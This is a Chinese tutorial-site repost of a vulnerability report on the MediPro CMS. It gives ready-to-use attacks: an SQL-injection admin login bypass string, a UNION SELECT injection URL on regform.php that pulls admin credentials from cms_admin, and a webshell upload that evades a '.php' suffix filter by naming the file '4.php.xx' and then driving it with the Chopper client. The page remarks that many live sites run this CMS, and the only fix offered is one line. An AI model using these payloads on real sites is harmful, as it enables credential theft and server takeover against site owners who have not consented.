网站地图    收藏   

主页 > 后端 > 网站安全 >

MediPro最新版注入漏洞及后台get shell - 网站安全

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] MediPro 有多套cms网站存在过滤不严,存在注入漏洞,后台可以绕开登录,get shell,获取服务器权限。 * 呃,官网默认是zend加密的代码,需要解密。* 百度了下,,还是很多网站使用。。...

MediPro 有多套cms网站存在过滤不严,存在注入漏洞,后台可以绕开登录,get shell,获取服务器权限。

/* 呃,官网默认是zend加密的代码,需要解密。*/

百度了下,,还是很多网站使用。。


1、后台绕开登录漏洞

在服务器没有开magic_quotes_gpc的情况下,直接登录系统。后台一般是www.xxxx.com/adm/

用户名:webmaster' or 1=1 or 'a'='a /*

密码:随便输入,验证码输入后就能直接进去了



另外:,magic_quotes_gpc转义后,老衲尝试用了%d5%27这样的方法,如:

用户名user=admin%d5%27 or 1=1 limit 0,1 -- 这类的

虽然也绕开了admincheck()函数,但后面setcookies的时候,直接沿用了用户上传的user的值,结果在后面验证权限的时候过不了,没有继续搞下去了。





2、注册页面的注入漏洞

在注册用户的地方regform.php?membertypeid=10,就有注入漏洞,问题代码出现在注册页:regform.php,其中$membertypeid没有过滤好,后面的函数直接使用了$membertypeid。 



没有开启转义时:

http://网站/regform.php?membertypeid=10 WHERE 1=2 UNION SELECT 1,`password`,"user",1,0,0,`user`,1,0 from cms_admin t limit 0,1 --



如果开启了magic_quotes_gpc,"user" 的 双引号被转义,也有个比较猥琐的方法: 

大体方法是:再union一下cms_member_regform_10表,把formcolname字段(注:这个字段就是注册项字段)里面的值显示出来即可。 必须要这个,因为注册页面的项是动态生成的,否则显示不出管理员的帐号密码。 

具体见后面的证明图吧。



3、后台get shell

比较多,简单的利用如在/adm/temp.inc.php中,代码只过滤了上传文件的后缀“.php”“.exe”这样的内容,,就可以用“.php.xx”,如果是用windows的IIS,还可以把后缀改成.asp,.asa等;
 

if ( substr( $fname, 0 - 4 ) == ".php" || substr( $fname, 0 - 4 ) == ".exe" )
{
            err( $strDownNotice11, "", "" );
  }


登录后台后,直接 访问www.xxxxx.com/adm/tempftp.php?fold=default

上传一个一句话:4.php.xx



上传后的路径:www.xxxxx.com/templates/default/4.php.xx



菜刀开路~~



注:测试用的4.php.xx已经删除。

修复方案:

过滤参数,限制上传。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论